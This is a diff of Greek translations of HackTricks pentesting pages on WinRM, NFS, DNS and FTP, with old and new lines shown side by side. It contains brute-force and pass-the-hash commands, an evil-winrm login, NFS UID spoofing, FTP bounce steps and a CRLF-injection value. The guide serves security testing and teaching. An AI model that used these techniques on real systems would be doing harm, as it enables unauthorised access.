Για να επαληθεύσετε τη ρύθμιση της μηχανής επίθεσης σας, χρησιμοποιείται η εντολή `Test-WSMan` για να ελέγξετε αν ο στόχος έχει ρυθμισμένο σωστά το WinRM. Εκτελώντας αυτή την εντολή, θα πρέπει να περιμένετε να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδεικνύοντας επιτυχημένη ρύθμιση. Παρακάτω παρατίθενται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο σε σύγκριση με έναν μη ρυθμισμένο: Για να επαληθεύσετε τη ρύθμιση της μηχανής επίθεσης σας, χρησιμοποιείται η εντολή `Test-WSMan` για να ελέγξετε αν ο στόχος έχει ρυθμισμένο σωστά το WinRM. Εκτελώντας αυτή την εντολή, θα πρέπει να περιμένετε να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδεικνύοντας επιτυχημένη ρύθμιση. Παρακάτω παρατίθενται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο σε σύγκριση με έναν μη ρυθμισμένο:
@ -40,13 +40,13 @@ Test-WSMan <target-ip>
![](<../images/image (582).png>) ![](<../images/image (582).png>)
- Αντίθετα, για έναν στόχο **μη** ρυθμισμένο για WinRM, αυτό θα είχε ως αποτέλεσμα να μην υπάρχουν τέτοιες λεπτομερείς πληροφορίες, επισημαίνοντας την απουσία σωστής ρύθμισης του WinRM. - Αντίθετα, για έναν στόχο **μη** ρυθμισμένο για WinRM, αυτό θα είχε ως αποτέλεσμα να μην υπάρχουν τέτοιες λεπτομερείς πληροφορίες, υπογραμμίζοντας την απουσία σωστής ρύθμισης του WinRM.
![](<../images/image (458).png>) ![](<../images/image (458).png>)
### Εκτέλεση εντολής ### Εκτέλεση εντολής
Για να εκτελέσετε το `ipconfig` απομακρυσμένα σε μια μηχανή στόχο και να δείτε την έξοδό του, κάντε: Για να εκτελέσετε `ipconfig` απομακρυσμένα σε έναν στόχο μηχανής και να δείτε την έξοδό του, κάντε:
```powershell ```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
``` ```
@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
Η δοκιμή στον πελάτη (πληροφορίες από [εδώ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): Η προσπάθεια στον πελάτη (πληροφορίες από [εδώ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby ```ruby
winrm quickconfig winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
### Brute Force ### Brute Force
Προσοχή, η βίαιη προσπάθεια σύνδεσης στο winrm μπορεί να αποκλείσει χρήστες. Προσοχή, η βίαιη επίθεση σε winrm μπορεί να αποκλείσει χρήστες.
```ruby ```ruby
#Brute force #Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby ```ruby
gem install evil-winrm gem install evil-winrm
``` ```
Διαβάστε **τεκμηρίωση** στο github του: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) Διαβάστε **τεκμηρίωση** στο github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby ```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain> evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
``` ```
@ -254,13 +254,11 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig')) print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig')) print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2: Entry_2:
Name: Hydra Brute Force Name: Hydra Brute Force
Description: Need User Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -4,11 +4,11 @@
## **Βασικές Πληροφορίες** ## **Βασικές Πληροφορίες**
**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονται αυτά τα αρχεία σε τοπικό κατάλογο. **NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονταν αυτά τα αρχεία σε τοπικό κατάλογο.
Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, ακολουθώντας κυρίως τη **σύνταξη UNIX**. Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, κυρίως ακολουθώντας τη **σύνταξη UNIX**.
Η αυθεντικοποίηση συνήθως βασίζεται σε **ταυτοποιητές `UID`/`GID` και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας κανένα περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Ως εκ τούτου, το πρωτόκολλο είναι καλύτερα κατάλληλο για χρήση εντός **έμπιστων δικτύων**, δεδομένης της εξάρτησής του από αυτή τη μέθοδο αυθεντικοποίησης. Η αυθεντικοποίηση συνήθως βασίζεται σε **ταυτοχρονιστές `UID`/`GID` και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Ως εκ τούτου, το πρωτόκολλο είναι καλύτερα κατάλληλο για χρήση εντός **έμπιστων δικτύων**, δεδομένης της εξάρτησής του από αυτή τη μέθοδο αυθεντικοποίησης.
**Προεπιλεγμένη θύρα**: 2049/TCP/UDP (εκτός από την έκδοση 4, χρειάζεται μόνο TCP ή UDP). **Προεπιλεγμένη θύρα**: 2049/TCP/UDP (εκτός από την έκδοση 4, χρειάζεται μόνο TCP ή UDP).
``` ```
@ -80,7 +80,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
- **Μη Συμπίεση Όλων των Χρηστών (`no_all_squash`):** Αυτή η επιλογή διασφαλίζει ότι οι ταυτότητες χρηστών διατηρούνται σε όλο το σύστημα, κάτι που θα μπορούσε να οδηγήσει σε ζητήματα δικαιωμάτων και ελέγχου πρόσβασης αν δεν διαχειριστεί σωστά. - **Μη Συμπίεση Όλων των Χρηστών (`no_all_squash`):** Αυτή η επιλογή διασφαλίζει ότι οι ταυτότητες χρηστών διατηρούνται σε όλο το σύστημα, κάτι που θα μπορούσε να οδηγήσει σε ζητήματα δικαιωμάτων και ελέγχου πρόσβασης αν δεν διαχειριστεί σωστά.
## Κλιμάκωση Προνομίων χρησιμοποιώντας κακές ρυθμίσεις NFS ## Κλιμάκωση Προνομίων χρησιμοποιώντας παραμορφώσεις NFS
[NFS no_root_squash και no_all_squash κλιμάκωση προνομίων](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) [NFS no_root_squash και no_all_squash κλιμάκωση προνομίων](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -16,11 +16,11 @@ PORT STATE SERVICE REASON
``` ```
### Διαφορετικοί Διακομιστές DNS ### Διαφορετικοί Διακομιστές DNS
- **Διακομιστές Ρίζας DNS**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι διακομιστές χαμηλότερου επιπέδου δεν απαντούν. Ο Οργανισμός Διαδικτυακών Ονομάτων και Αριθμών (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13. - **Διακομιστές Ρίζας DNS**: Αυτοί είναι στην κορυφή της ιεραρχίας DNS, διαχειρίζονται τα κορυφαία επίπεδα τομέων και επεμβαίνουν μόνο αν οι διακομιστές χαμηλότερου επιπέδου δεν απαντούν. Η Internet Corporation for Assigned Names and Numbers (**ICANN**) επιβλέπει τη λειτουργία τους, με παγκόσμιο αριθμό 13.
- **Αυθεντικοί Διακομιστές Ονομάτων**: Αυτοί οι διακομιστές έχουν τον τελικό λόγο για ερωτήματα στις καθορισμένες ζώνες τους, προσφέροντας οριστικές απαντήσεις. Αν δεν μπορούν να παρέχουν μια απάντηση, το ερώτημα κλιμακώνεται στους διακομιστές ρίζας. - **Αυθεντικοί Διακομιστές Ονομάτων**: Αυτοί οι διακομιστές έχουν τον τελικό λόγο για ερωτήματα στις καθορισμένες ζώνες τους, προσφέροντας οριστικές απαντήσεις. Αν δεν μπορούν να παρέχουν μια απάντηση, το ερώτημα κλιμακώνεται στους διακομιστές ρίζας.
- **Μη αυθεντικοί Διακομιστές Ονομάτων**: Χωρίς ιδιοκτησία πάνω σε ζώνες DNS, αυτοί οι διακομιστές συγκεντρώνουν πληροφορίες τομέα μέσω ερωτημάτων σε άλλους διακομιστές. - **Μη αυθεντικοί Διακομιστές Ονομάτων**: Χωρίς ιδιοκτησία πάνω σε ζώνες DNS, αυτοί οι διακομιστές συγκεντρώνουν πληροφορίες τομέα μέσω ερωτημάτων σε άλλους διακομιστές.
- **Διακομιστής Caching DNS**: Αυτός ο τύπος διακομιστή απομνημονεύει τις προηγούμενες απαντήσεις ερωτημάτων για μια καθορισμένη χρονική περίοδο για να επιταχύνει τους χρόνους απόκρισης για μελλοντικά αιτήματα, με τη διάρκεια της μνήμης cache να καθορίζεται από τον αυθεντικό διακομιστή. - **Διακομιστής Caching DNS**: Αυτός ο τύπος διακομιστή απομνημονεύει τις προηγούμενες απαντήσεις ερωτημάτων για μια καθορισμένη χρονική περίοδο για να επιταχύνει τους χρόνους απόκρισης για μελλοντικά αιτήματα, με τη διάρκεια της μνήμης cache να καθορίζεται από τον αυθεντικό διακομιστή.
- **Διακομιστής Προώθησης**: Εξυπηρετώντας έναν απλό ρόλο, οι διακομιστές προώθησης απλώς μεταφέρουν τα ερωτήματα σε έναν άλλο διακομιστή. - **Διακομιστής Προώθησης**: Εκτελώντας έναν απλό ρόλο, οι διακομιστές προώθησης απλώς μεταφέρουν τα ερωτήματα σε έναν άλλο διακομιστή.
- **Resolver**: Ενσωματωμένοι σε υπολογιστές ή δρομολογητές, οι resolvers εκτελούν την τοπική επίλυση ονομάτων και δεν θεωρούνται αυθεντικοί. - **Resolver**: Ενσωματωμένοι σε υπολογιστές ή δρομολογητές, οι resolvers εκτελούν την τοπική επίλυση ονομάτων και δεν θεωρούνται αυθεντικοί.
## Απαρίθμηση ## Απαρίθμηση
@ -32,7 +32,7 @@ PORT STATE SERVICE REASON
```bash ```bash
dig version.bind CHAOS TXT @DNS dig version.bind CHAOS TXT @DNS
``` ```
Επιπλέον, το εργαλείο [`fpdns`](https://github.com/kirei/fpdns) μπορεί επίσης να αναγνωρίσει το αποτύπωμα του διακομιστή. Επιπλέον, το εργαλείο [`fpdns`](https://github.com/kirei/fpdns) μπορεί επίσης να αναγνωρίσει το διακομιστή.
Είναι επίσης δυνατό να αποκτήσετε την αφίσα και με ένα σενάριο **nmap**: Είναι επίσης δυνατό να αποκτήσετε την αφίσα και με ένα σενάριο **nmap**:
``` ```
@ -95,11 +95,11 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
``` ```
> [!NOTE] > [!NOTE]
> Αν μπορείτε να βρείτε υποτομείς που επιλύονται σε εσωτερικές διευθύνσεις IP, θα πρέπει να προσπαθήσετε να εκτελέσετε μια αντίστροφη dns BF στους NSs του τομέα ζητώντας για εκείνο το εύρος IP. > Αν μπορείτε να βρείτε υποτομείς που επιλύονται σε εσωτερικές διευθύνσεις IP, θα πρέπει να προσπαθήσετε να εκτελέσετε μια αντίστροφη BF DNS στους NSs του τομέα ζητώντας για εκείνο το εύρος IP.
Ένα άλλο εργαλείο για αυτό: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) Ένα άλλο εργαλείο για αυτό: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Μπορείτε να ερωτήσετε αντίστροφες διευθύνσεις IP στο [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (αυτό το εργαλείο είναι επίσης χρήσιμο με το BGP). Μπορείτε να κάνετε ερωτήσεις για αντίστροφα εύρη IP στο [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (αυτό το εργαλείο είναι επίσης χρήσιμο με το BGP).
### DNS - Subdomains BF ### DNS - Subdomains BF
```bash ```bash
@ -126,7 +126,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
``` ```
### IPv6 ### IPv6
Brute force χρησιμοποιώντας "AAAA" αιτήματα για να συγκεντρώσετε το IPv6 των υποτομέων. Brute force χρησιμοποιώντας "AAAA" αιτήσεις για να συγκεντρώσετε IPv6 των υποτομέων.
```bash ```bash
dnsdict6 -s -t <domain> dnsdict6 -s -t <domain>
``` ```
@ -136,7 +136,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
``` ```
### DNS Recursion DDoS ### DNS Recursion DDoS
Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον θύμα server**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν μεγαλύτερες απαντήσεις.\ Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον θιγόμενο διακομιστή**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν να έχουν τις μεγαλύτερες απαντήσεις.\
Ο τρόπος για να **ελέγξετε** αν ένα DNS υποστηρίζει **αναδρομή** είναι να κάνετε ερώτηση σε ένα όνομα τομέα και να **ελέγξετε** αν η **σημαία "ra"** (_διαθέσιμη αναδρομή_) είναι στην απάντηση: Ο τρόπος για να **ελέγξετε** αν ένα DNS υποστηρίζει **αναδρομή** είναι να κάνετε ερώτηση σε ένα όνομα τομέα και να **ελέγξετε** αν η **σημαία "ra"** (_διαθέσιμη αναδρομή_) είναι στην απάντηση:
```bash ```bash
dig google.com A @<IP> dig google.com A @<IP>
@ -150,14 +150,14 @@ dig google.com A @<IP>
![](<../images/image (146).png>) ![](<../images/image (146).png>)
### Mail to nonexistent account ### Μήνυμα σε ανύπαρκτο λογαριασμό
**Αποστολή email σε διεύθυνση που δεν υπάρχει** χρησιμοποιώντας το domain του θύματος θα μπορούσε να προκαλέσει το θύμα να στείλει μια ειδοποίηση μη παράδοσης (NDN) της οποίας οι **κεφαλίδες** θα μπορούσαν να περιέχουν ενδιαφέρουσες πληροφορίες όπως το **όνομα εσωτερικών διακομιστών και διευθύνσεις IP**. **Αποστολή email σε ανύπαρκτη διεύθυνση** χρησιμοποιώντας το domain του θύματος θα μπορούσε να προκαλέσει το θύμα να στείλει μια ειδοποίηση μη παράδοσης (NDN) της οποίας οι **κεφαλίδες** θα μπορούσαν να περιέχουν ενδιαφέρουσες πληροφορίες όπως το **όνομα εσωτερικών διακομιστών και διευθύνσεις IP**.
## Post-Exploitation ## Μετά την εκμετάλλευση
- Όταν ελέγχετε τη διαμόρφωση ενός διακομιστή Bind, ελέγξτε τη διαμόρφωση της παραμέτρου **`allow-transfer`** καθώς υποδεικνύει ποιος μπορεί να εκτελεί μεταφορές ζωνών και **`allow-recursion`** και **`allow-query`** καθώς υποδεικνύουν ποιος μπορεί να στέλνει αναδρομικά αιτήματα και αιτήματα σε αυτόν. - Όταν ελέγχετε τη διαμόρφωση ενός διακομιστή Bind, ελέγξτε τη διαμόρφωση της παραμέτρου **`allow-transfer`** καθώς υποδεικνύει ποιος μπορεί να εκτελεί μεταφορές ζωνών και **`allow-recursion`** και **`allow-query`** καθώς υποδεικνύουν ποιος μπορεί να στέλνει αναδρομικά αιτήματα και αιτήματα σε αυτόν.
- Τα παρακάτω είναι τα ονόματα αρχείων που σχετίζονται με το DNS και θα μπορούσαν να είναι ενδιαφέρον να αναζητηθούν μέσα σε μηχανές: - Τα παρακάτω είναι τα ονόματα αρχείων που σχετίζονται με το DNS που θα μπορούσαν να είναι ενδιαφέροντα για αναζήτηση σε μηχανές:
``` ```
host.conf host.conf
/etc/resolv.conf /etc/resolv.conf
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name Domain_Name
exit exit
https://book.hacktricks.xyz/pentesting/pentesting-dns https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -26,7 +26,7 @@ Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att
Οι εντολές **FTP** **`debug`** και **`trace`** μπορούν να χρησιμοποιηθούν για να δουν **πώς συμβαίνει η επικοινωνία**. Οι εντολές **FTP** **`debug`** και **`trace`** μπορούν να χρησιμοποιηθούν για να δουν **πώς συμβαίνει η επικοινωνία**.
## Αριθμητική ## Αρίθμηση
### Λήψη Banner ### Λήψη Banner
```bash ```bash
@ -115,9 +115,9 @@ nmap --script ftp-* -p 21 <ip>
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
Σημειώστε ότι αν μια **web application** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server** μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http). Σημειώστε ότι αν μια **εφαρμογή ιστού** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server**, μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http).
## Κατεβάστε όλα τα αρχεία από FTP ## Κατεβάστε όλα τα αρχεία από τον FTP
```bash ```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
@ -131,8 +131,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`** - **`USER username`**
- **`PASS password`** - **`PASS password`**
- **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται - **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται
- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε εξάδικο_). - **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε εξάγωνο_).
- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια TCP σύνδεση (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**. - **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
- **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο - **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο
- **`LIST -R`** Λίστα αναδρομικά (αν επιτρέπεται από τον διακομιστή) - **`LIST -R`** Λίστα αναδρομικά (αν επιτρέπεται από τον διακομιστή)
- **`APPE /path/something.txt`** Αυτό θα υποδείξει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια **παθητική** σύνδεση ή από μια **PORT/EPRT** σύνδεση σε ένα αρχείο. Αν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα. - **`APPE /path/something.txt`** Αυτό θα υποδείξει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια **παθητική** σύνδεση ή από μια **PORT/EPRT** σύνδεση σε ένα αρχείο. Αν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα.
@ -140,9 +140,9 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα. - **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα.
- **`RETR /path/to/file`** Πρέπει να έχει δημιουργηθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης - **`RETR /path/to/file`** Πρέπει να έχει δημιουργηθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης
- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει στο 6ο byte. - **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει στο 6ο byte.
- **`TYPE i`** Ρύθμιση μεταφοράς σε δυαδικό - **`TYPE i`** Ρυθμίστε τη μεταφορά σε δυαδική
- **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί - **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί
- **`PUT /tmp/file.txt`** Μεταφόρτωση του υποδεικνυόμενου αρχείου στον FTP - **`PUT /tmp/file.txt`** Ανεβάστε το υποδεικνυόμενο αρχείο στον FTP
![](<../../images/image (386).png>) ![](<../../images/image (386).png>)
@ -152,11 +152,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
[**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md) [**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md)
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **μεταφορτώσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή;_) ή ακόμη και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\ Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή;_) ή ακόμα και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\
Η θεωρία είναι απλή: Η θεωρία είναι απλή:
1. **Μεταφορτώστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a` 1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο έπρεπε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή) 2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο που χρειαστήκατε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
3. **Χρησιμοποιήστε `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία** 3. **Χρησιμοποιήστε `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία**
